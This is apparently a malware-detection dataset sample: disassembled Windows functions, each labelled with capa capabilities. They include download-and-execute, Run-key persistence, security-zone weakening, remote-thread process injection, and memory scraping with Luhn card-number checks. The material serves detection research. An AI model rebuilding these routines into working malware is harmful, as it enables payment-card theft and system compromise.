joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4024c0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
push 0
push 0x84200000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x407af4]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1c], eax
push 0x40
push 0
lea edx, [ebp - 0x5c]
push edx
call fcn.00401940
add esp, 0xc
push 0x3f
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x15c]
push ecx
call fcn.00401290
add esp, 0xc
lea edx, [ebp - 0x5c]
push edx
lea eax, [ebp - 0x15c]
push eax
call fcn.00402680
add esp, 8
test eax, eax
jne 0x40252b
xor eax, eax
jmp 0x402679
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x10], ecx
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00402460
add esp, 8
mov edx, dword [ebp - 0x18]
push edx
push 0
mov eax, dword [0x407a8c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x18]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401940
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x200
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402616
cmp dword [ebp - 0xc], 0
je 0x402616
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00401980
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401940
add esp, 0xc
jmp 0x4025aa
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004016f0
add esp, 0x10
mov dword [ebp - 4], eax
push 5
mov edx, dword [ebp - 4]
push edx
push 0x407380
mov eax, dword [ebp - 0x14]
push eax
call fcn.004014d0
add esp, 0x10
mov ecx, dword [ebp - 8]
push ecx
push 0
mov edx, dword [0x407a8c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x402ae0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0x25
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x406784
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402b6f
lea ecx, [ebp - 8]
push ecx
push 0x407ac0
push 0
push 0
push 0x406758
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402b6f
mov eax, 1
imul ecx, eax, 0
movzx edx, byte [ecx + 0x407ac0]
test edx, edx
je 0x402b6f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x25
push 0x4075c0
push 0x407ac0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407ac0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, 1
jmp 0x402b7b
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x402b80
Capabilities:
Copy file
Create directory
Delete file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov dword [ebp - 0xc], 0
push 4
lea eax, [ebp - 0x1c]
push eax
call fcn.00401340
add esp, 8
lea ecx, [ebp - 0x224]
push ecx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x224]
push ecx
push 0x40680c
push 0x407620
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
push 0x407620
push 0x407840
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x407840
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x407ac0
call fcn.004013e0
add esp, 4
push 0x4a
push 0x4075c0
push 0xffffffffffffffff
push 0x407ac0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x407ac0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x406784
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edx, dword [ebp - 8]
push edx
push 0x407ac0
push 1
push 0
push 0x406758
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
push 0x4067a4
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402cae
mov dword [ebp - 0xc], 1
jmp 0x402ccf
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x4067a4
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x402ccf
jmp 0x402d4c
push 0x407620
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
push 0x407620
push 1
push 0
push 0x4075c0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xc], 0
je 0x402d4c
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push 0x4067d4
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [ebp - 8]
push edx
push 0x407620
push 1
push 0
push 0x4075c0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x402ee0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], str..exe_.bat_.reg_.vbs_
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x10], eax
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesAssociations
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
push 1
push 0
push str.LowRiskFileTypes
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x406898
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 4
lea ecx, [ebp - 0xc]
push ecx
push 4
push 0
push 0x4068dc
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x402fd6
push 4
lea edx, [ebp - 0xc]
push edx
push 4
push 0
push str.1806
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x402fe0
Capabilities:
Create process on windows
Create process suspended
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x60], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x1c]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [0x4071c4], 1
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 4
push 1
push 0
push 0
push 0
push 0x4073a0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x403041
jmp 0x4030fe
push 2
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [0x4071c0]
push edx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [0x4071c0], eax
cmp dword [ebp + 8], 0
je 0x403099
mov eax, dword [0x4071c8]
mov dword [0x4071cc], eax
mov ecx, dword [ebp - 0x14]
mov dword [0x4071d0], ecx
push 2
push 0
push 0
push 0
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [0x4071d4]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [0x4071d4], eax
mov ecx, dword [ebp - 0x1c]
mov dword [0x407368], ecx
mov edx, dword [0x407a90]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00403220
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4030c6
jmp 0x4030fe
mov edx, entry0
sub edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x4030fe
cmp dword [ebp + 8], 0
jne 0x4030fe
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x403150
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x40
push 0x3000
mov eax, dword [ebp + 0x10]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40317d
xor eax, eax
jmp 0x403215
mov edx, dword [ebp + 0x10]
push edx
push 8
mov eax, dword [0x407a8c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4031b1
push 0x8000
push 0
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x403215
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00401980
add esp, 0xc
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
push ecx
push 8
mov edx, dword [0x407a8c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 0xc], 0
jne 0x403212
push 0x8000
push 0
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x403215
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4038e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x24], 0
push 0x128
push 0
push 0x407240
call fcn.00401940
add esp, 0xc
mov dword [0x407240], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x18], eax
push 0x407240
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32First
push 0x407264
call fcn.00403b30
add esp, 4
cmp eax, 1
jne 0x40393c
jmp 0x403ad3
mov ecx, dword [0x4071c8]
cmp ecx, dword [0x407248]
je 0x403958
mov edx, dword [0x4071c8]
cmp edx, dword [0x407258]
jne 0x40395d
jmp 0x403ad3
mov dword [ebp - 4], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x407248]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40398d
jmp 0x403ad3
cmp dword [0x407af0], 1
jne 0x4039b9
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [0x407af8]
cmp dword [ebp - 0x20], 0
jne 0x4039b9
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403ad3
mov dword [ebp - 0xc], 0
mov ecx, 1
test ecx, ecx
je 0x403ac9
push 0x1c
push 0
lea edx, [ebp - 0x40]
push edx
call fcn.00401940
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [ebp - 0x40], 0
jne 0x403a02
cmp dword [ebp - 0xc], 0
je 0x403a02
jmp 0x403ac9
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2c]
and ecx, 1
jne 0x403a1e
mov edx, dword [ebp - 0x2c]
and edx, 0x100
je 0x403a20
jmp 0x4039c0
mov dword [ebp - 8], 0
cmp dword [ebp - 0x34], 0
jbe 0x403ac4
cmp dword [ebp - 8], 0
je 0x403a44
mov eax, dword [ebp - 8]
add eax, 0x64000
mov dword [ebp - 8], eax
jmp 0x403a4a
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x34], 0x64000
jbe 0x403a68
mov dword [ebp - 0x1c], 0x64000
mov edx, dword [ebp - 0x34]
sub edx, 0x64000
mov dword [ebp - 0x34], edx
jmp 0x403a75
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [0x4071d8]
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00403b80
add esp, 8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.004044a0
add esp, 8
jmp 0x403a27
jmp 0x4039c0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x407240
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403925
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x404d40
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x24], 9
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
jmp 0x404dbe
cmp dword [ebp - 8], 0
jne 0x404db1
mov dword [ebp - 0x10], 1
jmp 0x404db8
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
je 0x404e05
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx]
sub edx, 0x30
mov dword [ebp - 0x14], edx
cmp dword [ebp - 8], 0
je 0x404df0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
jmp 0x404dfa
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + ecx*4 - 0x48]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
jmp 0x404da2
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 0xa
idiv ecx
test edx, edx
jne 0x404e1d
mov dword [ebp - 0x1c], 1
jmp 0x404e24
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x405390
Capabilities:
Create directory
Create process on windows
Create process suspended
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x480
mov dword [ebp - 4], 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004024c0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4054d4
lea edx, [ebp - 0x480]
push edx
push 0
push 0
push 0x20
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 5
lea eax, [ebp - 0x1c]
push eax
call fcn.00401340
add esp, 8
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x480]
push edx
push 0x406d60
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0x278]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x480]
push ecx
push 0x406d6c
lea edx, [ebp - 0x278]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4000
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x44
push 0
lea edx, [ebp - 0x70]
push edx
call fcn.00401940
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x2c]
push eax
call fcn.00401940
add esp, 0xc
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x70]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x4054e0
Capabilities:
Delete file
Delete registry key
Persist via run registry key
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
mov eax, dword [0x407a88]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov ecx, dword [0x407a84]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
mov edx, dword [0x407a80]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x4071d0]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.SoftwareResilience_Software
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push str..DEFAULTSOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x407620
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1005d91
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.01005a06
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.01005a41
xor edi, ebp
shl byte [ebx], cl
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.01005a51
push eax
push esi
push dword [ebp + 8]
call fcn.01005a06
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.01005a51
push eax
push esi
push dword [ebp + 8]
call fcn.01005a06
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
Function at 0x401114
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x401126
mov eax, dword [0x43808b]
shl eax, 2
mov dword [0x43808f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.00403ec4
pop edx
call fcn.00403260
call fcn.00403ec8
push 0
call fcn.00405e00
pop ecx
push 0x438034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x438093], eax
push 0
jmp fcn.0040b9b8
Function at 0x4013a8
Capabilities:
Create tcp socket
Create thread
Create udp socket
Terminate thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
push esi
push edi
mov ebx, 0x442bec
mov esi, str._listen
push 0
push 1
push 2
call sub.WSOCK32.DLL_socket
mov dword [ebp - 0xc], eax
push 0
push 1
push 2
call sub.WSOCK32.DLL_socket
mov dword [ebp - 0x10], eax
jmp 0x4013ed
push dword [ebp + 8]
push dword [ebp - 0xc]
call fcn.00401dc8
add esp, 8
test al, al
je 0x4015e7
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call fcn.00401dc8
add esp, 8
test al, al
je 0x4015e7
mov dword [ebp - 0x14], 0x10
lea edx, [esi + 0x27]
push edx
push ebx
call fcn.00401654
add esp, 8
push ebx
call fcn.004015f0
pop ecx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0xc]
call sub.WSOCK32.DLL_accept
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push eax
push ebx
call fcn.004019ec
add esp, 8
push eax
call fcn.004015f0
pop ecx
jmp 0x401471
push dword [ebp - 0x34]
call sub.WSOCK32.DLL_inet_ntoa
mov dword [ebp - 0x1c], eax
mov edi, dword [ebp + 8]
lea eax, [esi + 0x57]
push eax
push ebx
call fcn.00401654
add esp, 8
push edi
push ebx
call fcn.00401c00
add esp, 8
mov edi, eax
lea edx, [esi + 0x74]
push edx
push edi
call fcn.00401654
add esp, 8
push dword [ebp - 0x1c]
push edi
call fcn.00401654
add esp, 8
push edi
call fcn.004015f0
pop ecx
mov edi, dword [ebp + 0xc]
lea eax, [esi + 0x7c]
push eax
push ebx
call fcn.00401654
add esp, 8
push edi
push ebx
call fcn.00401c00
add esp, 8
mov edi, eax
lea edx, [esi + 0xa0]
push edx
push edi
call fcn.00401654
add esp, 8
push edi
call fcn.004015f0
pop ecx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x10]
call sub.WSOCK32.DLL_accept
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
push ebx
call fcn.004019ec
add esp, 8
push eax
call fcn.004015f0
pop ecx
jmp 0x40152b
push dword [ebp - 0x34]
call sub.WSOCK32.DLL_inet_ntoa
mov dword [ebp - 0x24], eax
mov edi, dword [ebp + 8]
lea eax, [esi + 0xb7]
push eax
push ebx
call fcn.00401654
add esp, 8
push edi
push ebx
call fcn.00401c00
add esp, 8
mov edi, eax
lea edx, [esi + 0xd3]
push edx
push edi
call fcn.00401654
add esp, 8
push dword [ebp - 0x24]
push edi
call fcn.00401654
add esp, 8
push edi
call fcn.004015f0
pop ecx
lea ecx, [esi + 0xdb]
push ecx
push ebx
call fcn.00401654
add esp, 8
push ebx
call fcn.004015f0
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 4], edx
lea ecx, [ebp - 0x28]
push ecx
push 0
lea eax, [ebp - 8]
push eax
push 0x401e7c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
test eax, eax
jne 0x4015c1
push 0
push eax
call sub.KERNEL32.DLL_TerminateThread
jmp 0x4015e7
lea edx, [esi + 0xf2]
push edx
push ebx
call fcn.00401654
add esp, 8
push ebx
call fcn.004015f0
pop ecx
push 0x320
call sub.KERNEL32.DLL_Sleep
jmp 0x401420
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret